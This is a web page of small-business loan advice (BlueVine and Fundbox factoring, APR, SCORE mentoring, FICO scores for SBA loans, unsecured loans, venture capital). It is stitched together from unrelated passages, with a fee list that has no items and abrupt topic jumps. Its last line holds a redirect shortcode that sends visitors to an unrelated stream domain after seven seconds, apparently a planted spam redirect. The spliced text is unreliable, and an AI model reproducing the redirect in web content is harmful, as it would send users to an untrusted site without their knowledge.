When you have strong personal credit and a young business with a lot of unpaid customer invoices, BlueVine and Fundbox are good financing options. Both offer invoice factoring at similar costs. Where they differ: minimum revenue and minimum credit score. With BlueVine, you need at least $120,000 in revenue and a minimum 530 personal credit score. Fundbox does not require a minimum revenue or credit score; the lender does require at least six months of activity in a compatible online accounting software.
Start by asking your lender about Annual Percentage Rate or APR. APR takes into account all fees and interest rates so you have a standard measure of the cost of credit across different type loan products. Ask the lender to explain any and all fees associated with your small business loan. Typical fees associated with loans may include:
SCORE’s core service offering is its mentoring program, through which volunteer mentors (all experienced in entrepreneurship and related areas of expertise) provide free counsel to small business clients. Mentors, operating out of 300 chapters nationwide, work with their clients to address issues related to starting and growing a business, including writing business plans, developing products, conceiving marketing strategies, hiring staff, and more. Clients access their mentors via free, ongoing face-to-face mentoring sessions or through email or video mentoring services.
• Review your credit report. “A major consideration for a lender to make a loan is the ‘character’ of borrower,” Anderson says. “Lenders want to loan money to people who have a positive track record for paying their obligations as agreed.” The “Fair Isaac Credit Score” (FICO) is one measure used to evaluate character. Credit scores can range from 300-850, and it is very important that you have a relatively high score to be able to secure a SBA loan. While some SBA loans may be made with FICO scores below 700, potential borrowers with scores in the high 700s or 800s are generally greeted with respect by lenders. You can review your credit reports — for free — from all three credit-reporting companies — Experian, Equifax and TransUnion — once per year to insure that they are accurate. You need to be prepared because the bank will pull the credit reports on you. If you find mistakes on your credit reports, take steps to correct those mistakes and bring the e-mails, letters, and other correspondence with you to the bank when applying for a loan. “When you go to the bank, you can say, ‘It’s a mistake. It’s not me.’ And you have the letter to show them,” says Cruz. “At least it’s not a surprise to you. You don’t want to be surprised.” Professionals also can provide guidance for improving credit scores. Personal income tax reports for three years will be required for all parties that own at least 20 percent of the company’s equity. A weak FICO Score from a 20 percent to 25 percent owner can badly damage the obtaining of a SBA Small Business Loan.
In addition to interest, you’ll have to pay fees on your SBA loan, including the SBA guarantee fee (for loans above $150K), referral and packaging fees, and closing costs. These fees are explained in detail in our article on SBA Loan Rates. We also offer an SBA Loan Calculator if you want to estimate monthly payments on an SBA 7a loan.
An unsecured loan, sometimes referred to as a signature loan or a merchant loan, is a special type of financing available to business that is different from traditional lending. Instead of requiring collateral to obtain financing, unsecured lending uses several other factors to judge the eligibility of a loan applicant. These could include things such as your credit score and sales records from the business. This type of financing may be advisable for small business owners who do not want to risk their personal collateral in order to obtain the financing they need. Since the loan requirements differ from traditional bank loans, the interest rates and speed of approval can be much different. Oftentimes these merchant loans are reviewed and approved in a very short time frame, making them ideal for anyone who is in need of immediate capital.
Like angel investing, you need to be ready to give up equity and have the ability to scale your business quickly if you want to find venture capital investors. VC’s are looking for businesses ready to become a large business worth substantially more than they are today, and you need to have something that makes you stand out in your industry.
Getting a business loan is a major hurdle facing small businesses, mainly due to tight lending standards by banks. But obtaining outside financing is often necessary to start or grow a business or cover day-to-day expenses, including payroll and inventory.
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Your place on the credit spectrum is one factor that will determine which loans you’ll qualify for. You can get your credit report for free from each of the three major credit bureaus — Equifax, Experian and TransUnion — once a year. You can get your FICO score for free from several credit card issuers as well as personal finance websites, including NerdWallet. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]